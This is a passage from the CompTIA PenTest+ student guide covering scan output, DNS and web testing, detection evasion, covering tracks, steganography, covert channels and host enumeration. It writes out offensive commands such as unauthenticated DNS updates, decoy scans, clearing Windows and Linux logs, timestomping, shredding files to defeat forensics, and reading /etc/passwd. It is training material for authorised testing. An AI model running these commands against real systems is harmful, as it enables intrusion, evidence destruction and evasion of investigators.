visualization of the scan results. In addition, we’ll learn how information from DNS
and web servers can provide a more comprehensive view of the target network.
Let’s start with discovering what’s involved when evaluating the network.
The method of attack will be evident after all targets are identified along with their
vulnerabilities.
Prior to beginning the PenTest, the team might have little or no information about
the elements of the target network. Depending on the parameters of the project
scope, the team might use one of three methods when testing:
• Unknown environment testing is when the team is completely in the dark,
as no information is presented to the team prior to testing.
• Known environment testing is when the PenTesting team is given all details
of the network and applications.
Once the team learns more information on the target, they can outline the network
topology and identify the boundaries more clearly. Armed with this information, the
team can make a more reasonable decision as to the type of probes to be sent and
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
156 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
how to bypass security controls. The team will use a variety of tools to gather and
record this information, such as using Nmap in the CLI or Zenmap using a GUI.
Let’s take a look at using Nmap results when interfacing in the CLI.
When viewing the results of a scan, Nmap has several available formats for
outputting the results as follows:
• Interactive output is a human readable output that you would normally see
on the screen when you run a scan. This is the default output, so no switch is
needed.
• Grepable output (-oG) creates a grepable friendly file that can be searched
using grep, awk, cut, and diff.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 157
Nmap is a CLI tool; however, for a Graphical User Interface option, you can use
Zenmap.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
158 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
The topology map provides an excellent way to assess devices and provide an
insight when planning an attack. When moving about the interface, you will discover
the results of the scan, as shown in the screenshot, where Zenmap has listed the
details of host 10.0.0.75:
In addition to using scan results in evaluating the network, the team will use other
resources that will help map your target’s network, as we’ll see next.
Testing DNS
Footprinting using DNS can reveal additional targets that can help the team learn
more about the structure of an organization’s network. However, in addition to
footprinting DNS records, it’s also important to test DNS for vulnerabilities.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 159
• Cache poisoning.
When testing DNS for vulnerabilities, it’s important to understand the normal behavior.
• Recursive servers hold a copy of the DNS records for the namespace. In addition,
if the requested information is not available in the server’s cache, the recursive
server can ask other servers for information on behalf of the client.
Either server can be at risk for compromise. Nmap has several methods that you
can use to test the DNS structure for vulnerabilities. For example, you can use the
following to discover the target host’s services:
nmap --script=dns-service-discovery -p 5353 <target>
The script uses the DNS Service Discovery protocol to get a list of services. Once the
list is obtained, Nmap will follow up by sending probes to get more information.
Next let’s see why it’s important to test to see if the nameserver responds to an
unauthorized zone transfer.
Type Function
A Maps a hostname to a 32-bit IPv4 address of the host
AAAA Maps a hostname to a 128-bit IPv6 address of the host
PTR (Pointer) Most common use is for implementing reverse
DNS lookups
MX Mail Exchange record
It’s important to properly configure the servers to ensure the zone information is
available only to authorized servers.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
160 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
If not properly configured, the zone file can be exposed and leak resource record
information. Let’s outline how this works.
On a network, there are host and client DNS nameservers. A zone transfer is when a
host DNS nameserver passes a copy of the zone file to a client DNS nameserver.
An attack occurs when an entity poses as a DNS client server and asks for a copy of
the zone records.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 161
After determining that the server uses recursion, the team can attempt to perform
a dynamic DNS update without authentication. This can be achieved using the
following script:
nmap -sU -p 53 --script=dns-update --script-args=dns-
update.hostname=target.example.com,dns-update.
ip=192.0.2.1 <target>
In addition to testing the DNS servers for vulnerabilities, the team may also be
charged with testing the web servers as well.
• Examine the web or access logs that show the activity for a website.
• Intercept traffic using a proxy between the web client and the server.
All methods are useful; however, when using a proxy, the team can gather more
data to check for security issues that occur during a web transaction. Vulnerabilities
can include cryptographic weaknesses, missing or weak authentication, and other
web vulnerabilities.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
162 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
One tool that can be used to test web applications is Burp Suite, which is an
integrated platform used to test the security of web applications.
The Community Edition is one of the tools prebuilt into Kali Linux.
Acting as a local proxy, Burp Suite can intercept and capture the HTTP requests and
responses so the team can analyze the traffic. When discovered, Burp Suite will
list the vulnerabilities. Below the activity monitor, you can view the details of the
vulnerability, as shown in the screenshot:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 163
In addition, you can view other details as well. For example, as shown in the
screenshot, the Request tab shows the OS command injection code:
The Burp Suite Community Edition provides limited functionality; however, it will
provide a great deal of resources for identifying web server vulnerabilities.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
164 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
5
Output from Scans
Answer the following questions:
3. The team is tasked to check the web server for vulnerabilities. What
method(s) can they use?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 165
Lesson 7
Summary
4
In this lesson we covered the wide range of options Nmap has for discovery. By now
you can see how powerful Nmap can be when testing the target for vulnerabilities.
We saw how we can modify the timing of scans to preserve network and system
performance and compared scans using either TCP or UDP. In addition to common
options such as sV, sT, Pn, O, sU, we also learned how Nmap has a library of scripts
that can complement the scanning process and drill down for more specific results.
We then covered techniques used to fingerprint the network and hosts to
determine the operating systems and software that are in use. We then saw how
active footprinting can provide a strong method of learning the targets OS in
use. However, we discussed some of the reasons we might need to use passive
footprinting to avoid detection. We finished with a discussion on ways to examine
the output from Nmap scans, Web logs, and DNS records in order to produce a
report that will help determine the next phase in the pentest exercise.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 8
Avoiding Detection and
Covering Tracks
1
LESSON INTRODUCTION
While actively scanning the network, the team will need to take steps to avoid
detection. In this lesson, we’ll cover how to use a variety of techniques to conceal
activity. We’ll outline methods such as spoofing and living off the land attacks that
use fileless malware. In addition, you’ll see why the team might choose to employ
more advanced techniques that include using steganography tools to hide and
conceal in plain sight. Finally, we’ll see how the pentest team may need to attempt
to establish a covert channel along with using Ncat, Secure Shell, and proxy chaining
to provide remote access for further exploits.
Lesson Objectives
In this lesson, you will:
• Compare different methods used to evade detection while scanning, such as
spoofing and living off the land techniques.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
168 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 8A
Evade Detection
2
Data loss prevention is ensuring that there is no data exfiltration, which is data
that leaves the organization without authorization. Malicious actors use a variety of
methods to exploit the attack vectors so they can launch an attack. As a result, the
PenTest team will need to be aware of the techniques used to avoid detection. In
this section, we’ll take a look at methods to evade or spoof a firewall or IDS. In
addition, since it’s optimal to remain anonymous, we’ll outline ways to cover
your tracks.
Let’s start with ways the team can evade detection.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 169
In this section, we’ll cover ways we can spoof a device and bypass Network Access
Control. In addition, we’ll take a look at how using techniques such as fileless
malware and proxies can help avoid detection.
First let's take a look at the many ways we can spoof a device.
Using a Decoy
When conducting a port scan on a host, you can use decoys in order to make it
appear as if the packets are coming from either a trusted or random device. You
can specify the IP address you want to use, or you can allow Nmap to generate
random IP addresses. The object is to create bogus packets from the “decoys” so
the actual attacker “blends in” with the crowd. This option can be used by issuing
the command: -D [decoy1, decoy2, decoy3, etc.] <target>.
To test this option, obtain your IP address and launch Wireshark. Then issue the
command: nmap -D 192.168.1.10 scanme.nmap.org where scanme.
nmap.org is the target and the other IP address is the decoy.
As shown in the screenshot, both the decoy (192.168.1.10) and the actual attacker
(10.0.0.37) are both sending probes to scanme.nmap.org:
Another option is to use randomly generated decoys. In that case you would use
the following option: nmap -sS -sV -D RND:3 nmap.scanme.org. As
shown in the following screenshot, we see the actual attacker (10.0.0.37), along with
three other decoys:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
170 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
This scan might not return results since the target will try to respond to the
fake address.
With Nmap you can also spoof a Media Access Control or (MAC) address. Let’s take
a look.
Another way to trick a device is to make it appear as if the packet is coming from a
specific port.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 171
a popular open-source IDS that holds many of the signatures to detect Nmap scans.
When active, Snort will monitor for port scanning using a default threshold of 15
ports per second. If aggressive scanning is detected, Snort will issue an alert.
As a result, when testing, the team might be able to avoid detection by using
the –T switch to slow the scans or combine the scan with other options to
avoid detection.
In addition to spoofing, the team may choose to attempt to bypass Network
Access Control (NAC). Let’s see what’s involved.
Bypassing NAC
Network Access Control appliances restrict traffic by allowing only authorized hosts
to access the corporate infrastructure. NAC appliances can be a switch, Wireless
Access Point (WAP), or a remote access/VPN server.
The most common way to bypass NAC is by accessing an authenticated device and
using the device to slip by the NAC appliance. For example, a malicious actor can
use a rogue WAP to get an authorized device to connect. The attacker machine will
then use it to relay malicious traffic into the protected network. As shown in the
graphic, the malicious actor is using an on-path attack:
Bypassing a NAC
Another stealthy approach to avoid detection is to use a technique called living off
the land (LoTL).
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
172 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
• Visual Basic Scripts (VBScript) is a command shell and scripting language built
on the .NET Framework, which allows the administrator to manage computers.
One scenario for launching a LoTL attack is to send a phishing email with an
attached Word document that contains a macro, as shown in the graphic:
LoTL attack
Once the victim accepts and opens the document, the macro can activate a
VBScript, which in turn can execute a PowerShell task to complete a task, such as:
• Activate WMI to move through the system
A LoTL attack is extremely dangerous because the malicious actor will use the OS
itself which in turn becomes weaponized. The toolkit is the system’s own native
tools, which generally won’t trigger any alarms and are harder to detect.
The attacks are stealthy and are being used for a variety of malicious purposes
including using software deployment tools to deliver ransomware. Because there
is no discrete signature, a more proactive approach to fileless malware is to use a
blend of behavioral-based detection and monitoring strategies.
Once all scans and attacks are complete, you’ll want to remove any evidence that
you were in the system after. Next, let’s see the many ways we can cover our tracks.
• Help the malicious actor hide their initial exploits as well as any ongoing
compromise.
If cleanup is to be done after a PenTest, make sure that the team has recorded all data
that is needed for the final report.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 173
In this section, we’ll cover the techniques you can use to cover your tracks. Let’s
start with ways to deal with event logs.
• When using the command line interface (CLI) in Windows, you can also clear
individual log categories. For example: wevtutil cl Application will
clear the application log.
• To clear logs on a Linux system, you can use one of several methods that you’d
use to clear any text file. For example, to clear the syslog use: echo "" > /
var/log/syslog.
In some cases, you don’t want to remove all logs, just specific entries.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
174 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
However, you can also steal a privileged user’s token and then perform a
malicious task. This type of attack is called Incognito, which allows you to
impersonate user tokens after you have compromised a system. Using Metasploit’s
meterpreter you can list available tokens and then impersonate one of the tokens
to assume its privileges.
In either case, the event will be recorded as if it were performed by the user whose
token you stole.
A good forensic investigator will attempt to reconstruct a narrative of events by
correlating event data. One of the most important attributes in event correlation
is time. Let’s see how we can modify the time values to skew the results of an
investigation.
Modifying Timestamps
The concept of time is very important on a network. If you can modify the time that
certain events are recorded, you can deceive the investigators during a forensic
investigation. Changing time-based values is not just limited to event logs. You can
also alter a file’s modification, access, created, and entry modified (MACE) metadata.
Changing the MACE values is possible by using Metasploit’s meterpreter tool called
TimeStomp which allows you to delete or modify timestamp-related information
on files. You can view the details of a file by using the following command:
meterpreter > timestomp example.txt -v
[*] Showing MACE attributes for example.txt
Modified : 2021-07-08 16:24:25 -0500
Accessed : 2021-07-08 16:23:24 -0500
Created : 2021-07-08 16:23:24 -0500
Entry Modified: 2021-07-08 16:24:25 -0500
The following command will change all the modified (-m) MACE values for a file to
the specified time:
meterpreter > timestomp example.txt -m "08/14/2021
10:12:05"
[*] Setting specific MACE attributes on example.txt
Changing the time values can fool the investigators; however, this action can also
confirm that an attack has taken place.
While modifying logs and entries is possible, there are times that it’s best to remove
all evidence. Let’s see how this is done.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 175
In some cases, you’ll want to completely remove a file by shredding the evidence.
Shredding Files
Deleting a file while in a standard OS doesn’t completely erase that file. If you want
to make sure that you’ve securely deleted and completely removed a file you should
use a file shredder.
Shredding or overwriting a file is possible by using the following:
On a Linux system, you can use the command shred. For example, to overwrite the
file with zeros and hide evidence that the file was shredded and completely remove
the file, you would use the command: shred -zu /root/keylog.bin.
Windows doesn’t have a built-in command-line equivalent to file-based
shredding. However, you can overwrite an entire volume with zeros by using the
following command: format d: /fs:NTFS /p:1. The /p switch indicates
how many zeroing operations to run.
As you can see, there are many options that can prevent forensic investigators from
recovering the incriminating information.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
176 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
Detection
3
1. List three spoofing options you can use to avoid detection when
scanning.
2. LoTL attacks are called fileless malware as there are no viruses used.
List three tools that malicious actors can use in a LoTL attack.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 177
Topic 8B
Use Steganography to Hide
and Conceal
4
Steganography (Stego) is the art of hiding in plain sight and is an ideal way
to conceal the fact that communication has taken place. Malicious actors
use steganography, so it’s optimal for the PenTesting team to have a better
understanding of the methods used to conceal information. In this section, we’ll
discover some of the tools used in steganography. We’ll first investigate a few
of the standard methods, including Steghide and OpenStego, that use images
to conceal information. We’ll then cover some alternate methods such as New
Technology File System (NTFS) alternate data streams along with using white space
steganography. We’ll then finish with a discussion on how we can convert an image
to music for a totally unique way to conceal text.
Let’s start with learning about classic steganography tools.
The carrier must be able to pass as the original and appear harmless. The payload
can contain any number of things, such as trade secrets or command and control
activity. Once the payload is hidden, no one outside of the sender and the receiver
should suspect anything.
Today, there are hundreds of steganography tools available that we can use to
conceal activity. Most are freely available, and have similar functions in that they
can conceal and encrypt data using a wide range of carriers. We can embed a
payload in several types of carriers, such as documents, images, video, and audio
files. The software can use either a CLI or GUI tool; however, most are intuitive and
easy to use.
Kali Linux currently includes two Stego tools, Steghide, and StegoSuite.
However, within each tool there are some differences. In this section we’ll discuss a
few of the tools used to conceal information. Let’s start with exploring Steghide.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
178 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Discovering Steghide
Steghide is an open-source tool used to conceal a payload in either an image or
audio file. The software can compress, conceal, and encrypt data using images such
as JPEG and BMP, along with audio files using Waveform Audio File Format (WAV)
and audio (AU) formats.
Steghide is natively a CLI tool. You can modify and conceal information using commands.
For example, you can embed the secret.txt file in the carrier image as shown:
$ steghide embed -cf carrier.jpg -ef secret.txt
Enter passphrase:
Re-Enter passphrase:
embedding "secret.txt" in "carrier.jpg"... done
You can also use a GUI by using Steghide UI, which is a companion to the CLI
version. Once you download and install Steghide UI, you will be able to load the
carrier file and the payload, along with setting encryption options as shown in the
following screenshot:
Steghide UI
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 179
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
180 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
• Password is how you will protect the message. In this case we’ll use “tiger”
• Output file is the file with the message concealed. In this case we’ll use
“Digital2.txt”
To use Snow, navigate to the directory the software resides. Then issue the
command: Snow -C -m "Orange tiger kittens are cute" -p
"tiger" Digital.txt Digital2.txt, as shown in the screenshot:
Once the secret message is hidden, you can compare the two. For example, the file
on the right is the original, and the file on the left has the embedded message, as
shown in the screenshot:
Comparing documents
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 181
Synthesizing Images
Methods to conceal data have evolved over time. Two other programs used to
manipulate a message are Coagula and Sonic Visualizer. As you’ll see, the two
programs work in a similar method, they use sound to conceal an image and then
convert the text in the spectrogram. Let’s first explore Coagula.
3. Drop down the Sound menu choice, and then select render without
blue.Once you are done,save as a .wav file and close the program.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
182 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
4. Open the .wav in Audacity and then drop down the arrow on the password
menu, then choose Spectrogram, as shown in the graphic below:
5. Once you select Spectrogram, you will be able to see your text as shown:
In addition to Audacity, another tool that you can use to derive text from a .wav file
is Sonic Visualizer.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 183
Once Add Spectrogram is selected, Sonic Visualizer will then reveal the text,
as shown:
As you can see, a determined malicious actor will have plenty of ways to conceal
information, using a variety of steganography tools and techniques.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
184 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
Steganography to Hide and Conceal
5
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 185
Topic 8C
Establish a Covert Channel
4
Once a malicious actor has gained access to a network and established a foothold,
the next logical step is to continue to access the remote resource. This is commonly
done by creating a covert channel so they can continue to maintain their position,
undetected. In this section, we’ll take a look at ways to provide remote access by
using tools such as Secure Shell (SSH), Ncat, and Netcat. Then, we’ll take a look
at how using ProxyChains, a command-line tool, provides anonymity by sending
messages through intermediary or proxy servers.
Let’s start with outlining ways to provide remote access.
Detecting data exfiltration can be difficult. One way to detect an attack is by using
an IDS that monitors for unusual activity, such as a spike in database reads and/or
high-volume network transfers.
Not all data exfiltration activity is malicious. However, there may be an active
attempt to obtain data in an unauthorized manner. One way to achieve this is by
using a remote access method.
Many times, a malicious actor will work extremely hard to get into a system, then
once in, they attempt to remain in the system undetected. Some of the tools that
are used to provide remote access include Secure Shell (SSH), Windows Remote
Management (WinRM), Ncat, and Netcat.
Let’s start with an overview of communicating securely using SSH.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
186 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
• One computer will act as a server. The server has an SSH daemon that listens for
client requests. When a client initiates a request, the server will check the host
information and appropriate credentials, then once accepted, both parties will
establish a connection.
Once the session is started, the client can then manipulate objects, transfer files, or
manage the computer by issuing commands via a terminal interface.
Malicious actors constantly try to exploit a vulnerable SSH server to gain access to a
system. Nmap has several commands and scripts that the team can use to see if the
target is vulnerable.
Next, let’s explore two other tools used for remote access, Netcat and Ncat.
Introducing Netcat
Netcat is a command-line utility used to read from, or write to, a TCP or UDP
network connection. It can create or connect to a TCP server, act as a simple
proxy or relay, transfer files, launch executables (such as a backdoor shell) when a
connection is made, test services and daemons, and even scan ports.
The basic syntax of Netcat is nc [options] [target address]
[port(s)]. Common options include the following:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 187
Netcat has been a standard for many years; however, a more advanced option is to
use Ncat.
• Listen (or server) mode – If the host is in this mode, Ncat will listen for an
incoming connection request.
Ncat is built into Nmap and all of the commands and functions complement one
another. In addition, Ncat includes support for Windows, Linux, and Mac OS.
Other methods to provide remote management include Windows Remote
Management (WinRM) and PSExec.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
188 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Using a Proxy
A proxy is someone who acts on your behalf. For example, if you are in a legal
battle, a lawyer would be your proxy so that you would not have to deal directly
with the other entity.
Proxy servers are used on a network to mediate the communications between a
client and another server. One method is to use Socket Secure (SOCKS) which can
provide the necessary authentication so that only authorized users may access a
server.
A proxy can filter and often modify communications, as well as provide caching
services to improve performance. However, malicious actors can also use proxies
to conceal their location. Called ProxyChaining, this provides an extra layer of
protection by forcing a specific TCP connection so that websites do not see your
real IP address.
It is possible to determine where the data originated; however, this can take
some effort.
ProxyChains4 is included with Kali Linux, as well as any other version of Linux.
ProxyChains4 is a command-line tool that enables PenTesters to mask their identity
and/or source IP address by sending messages through intermediary or proxy
servers.
In order to stay anonymous during port scanning, you can use The Onion Router
(TOR) through the ProxyChains4 utility, which will redirect connections through
proxy servers.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 189
This example conducts an Nmap scan against target scanme.nmap.org through two
proxies, 192.168.1.30 and 192.168.1.90.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
190 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
5
A Covert Channel
Answer the following questions:
2. Two options to provide remote access are Netcat and Ncat. Compare
the two.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 191
Lesson 8
Summary
4
In this lesson, we compared the many different methods used to evade detection
while scanning, such as using decoys, living off the land techniques, and proxy
chaining. We then learned how to cover our tracks after being in a system by
using techniques such as clearing log entries and modifying timestamps. We also
evaluated other approaches that include removing the history or shredding files to
remove any evidence that an attack has taken place.
By now you can see how steganography tools such as OpenStego and Snow hide
and conceal activity like Command and Control (C&C) communication. In addition,
we covered how we can convert an image to sound for a unique way to conceal
information. Finally, we summarized methods used to establish a covert channel
and provide remote access, along with how using a proxy can conceal a malicious
actors location.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 9
Exploiting the LAN and Cloud
1
LESSON INTRODUCTION
After scanning for vulnerabilities, the team will then be armed with information that
will allow them to move to the attack phase and test the strength of the LAN. One
common step in active reconnaissance is to establish a connection by enumerating
open ports, services, and Active Directory objects. There are many attacks a team
can launch, such as MAC address spoofing and New Technology LAN manager
(NTLM) relay attacks. To achieve this goal, the pentesting team has a number of
exploit tools that they can use to launch an attack, such as mitm6, SearchSploit
along with Exploit-DB. Today, many organizations house resources on the cloud.
As a result, the team should be aware of possible threats such as injection, denial
of service, or side channel attacks. To achieve this the team can use a variety
of automated vulnerability and penetration testing tools such as cloud custodian,
Pacu, and CloudBrute.
Lesson Objectives
In this lesson, you will:
• Distinguish a variety of methods used to establish a connection to network
hosts, services, and Active Directory objects.
• Outline methods to discover cloud vulnerabilities when dealing with storage and
virtualized containers, along with recognizing the need to control Identity and
access management.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
194 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 9A
Enumerating Hosts
2
In this section, we’ll see how to index services and hosts on the network along
with ways to discover objects on both Windows and Linux operating systems. In
addition, we’ll take a look at common techniques to enumerate hosts during active
reconnaissance.
Let’s start with learning how to complete an inventory of the network.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 195
• Linux/Unix (*nix) hosts: Network File System (NFS) daemon using the NFS
protocol via TCP and UDP 2049
Within most operating systems, there are many built-in commands to scan and
enumerate network shares. In addition, you can use other tools such as Metasploit
and ShareEnum.
Metasploit is a platform for launching attacks against known software
vulnerabilities and includes several modules for enumerating network shares.
For example, using the following command: auxiliary/scanner/smb/
smb_enumshares, will enumerate any available SMB shares on the remote
system. Even without authentication you will be able to collect valuable information,
such as share names, OS versions, and service packs.
ShareEnum is a Sysinternals GUI tool that can scan a domain, workgroup,
or IP address range for file and print shares along with their security settings.
As shown in the screenshot we see the share path along with the hidden shares
that end in $:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
196 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
ShareEnum is most effective when you run it from a domain administrator account.
During enumeration, it’s common to evaluate websites as well. Let’s see what we
can learn.
Enumerating Websites
Website enumeration involves discovering the resources and underlying technology
that the web server is using. The information can help you choose more effective
vectors to use in an attack, as well as exploit vulnerabilities in specific versions of
web server software.
You can use several tools to enumerate websites, including a browser, Nmap,
Metasploit, and DirBuster.
For example, using the Uniform Resource Locator (URL) or IP address for one or
more hosts, you can use Nmap to enumerate information. Nmap has several scripts
you can use for popular web applications, such as the following:
• nmap --script=http-enum <target>
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 197
• The service on port 1241 is not HTTPS but is the SSL-wrapped Nessus daemon.
• There is an unspecified service on port 8000. To see if it’s HTTP, open a browser
to http://192.168.1.50:8000.
Cataloging Windows OS
The Windows OS is one of the most widely used OS in the world today. As a result,
it’s good practice to enumerate Windows hosts on the network, as the team can
learn a great deal of information. In addition, it’s also possible to retrieve a wide
range of information from Active Directory objects.
Let’s see what we can learn from scanning Windows hosts.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
198 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Command Purpose
net view To view shares from other hosts in the network
In addition to the built-in commands and utilities within the OS, there are several
popular tools for Windows host enumeration that include PowerShell, Nmap, and
Metasploit.
• PowerShell (PS) uses cmdlets, which are a verb-noun pairing to achieve a task,
such as Get-Help, and can enumerate information such as OS version, shares,
files, services, Registry keys, and policies.
• Nmap has a wide range of commands and NSE scripts for host enumeration to
fingerprint the operating system and interrogate its services.
• Metasploit has several modules that can enumerate hosts. For example,
the team can run the enum_applications module to determine what
applications are installed on the target host.
Next, let’s see how Active Directory (AD) can also be used to enumerate objects on a
Windows environment.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 199
At the top of the structure is the Forest. Off of the Forest will be the following:
• A Tree is formed with a collection of domains and sub-domains.
• A Domain is the core of a Windows network. The first domain created is the
root. Successive domains beneath that are referred to as child domains that
have their own unique name.
• Organizational units (OU) are used within a domain to group similar objects
such as users, groups, computers, and other OUs and are used to minimize the
number of domains.
• Users represent a person or process that needs access to a resource. Each user
has attributes such as name, password, and email address.
cmdlet Purpose
Get-NetDomain Get the current user’s domain
Get-NetLoggedon Get users that are logged on to a given
computer:
Get-NetGroupMember Get a list of domain members that belong
to a given group:
Along with enumerating Windows systems, the team may choose to enumerate
Linux OS.
• enum_network
• enum_protections
• enum_logged_on_users
You can also use nmap -O or -sV scans to fingerprint the operating system and
interrogate its services. If the Linux host is running the Samba service, you can
use nmap smb-* NSE scripts against the target, such as the following: nmap
--script=smb-os-discovery 192.168.1.20.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
200 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
It’s also possible to use the built-in Bash commands as there is a very wide range to
choose from. The following table lists just a few that you can use:
Command Purpose
finger Views a user’s home directory along with login and idle time.
cat /etc/passwd Lists all users on the system
uname -a Displays the OS name, version, and other details
env Outputs a list of all the environmental variables
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 201
Review Activity:
The LAN and Cloud
3
1. During discovery, the team will most likely index network services and
shares. List some common services to enumerate prior to exploiting
the LAN.
2. When enumerating Windows hosts, there are a number of tools you can
use, including the built-in tools within the operating system. List some
command line tools to enumerate Windows hosts.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
202 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 9B
Attack LAN Protocols
4
A Local Area Network (LAN) can be a vulnerable target. As a result, the team will
need to test the LAN to see if any exploits against the LAN is possible. In this
section, we’ll cover some LAN attacks such as virtual LAN (VLAN) hopping, on-path
attacks, and spoofing various LAN protocols. We’ll finish with seeing how we can
chain multiple exploits to form a larger more complex attack.
Let’s start with a VLAN hopping attack.
In some cases, VLAN membership for a device is dynamically determined by its MAC
address. The network administrator pre-creates a list of VLANs and the MAC addresses
that belong to them. When the device is plugged in, its MAC address is checked against
the database, and the corresponding VLAN ID is dynamically assigned to that port.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 203
2. The malicious actor will then force the client to accept either a cleartext HTTP
session or a downgraded HTTPS session with a more vulnerable version of
SSL/TLS.
3. The malicious actor will run some type of sniffer that can collect credentials as
the user logs on and communicates with the server.
Another on-path attack uses a Wi-Fi Pineapple, which is a rogue wireless access
point that attracts Wi-Fi clients to connect to the network. Once the victim connects,
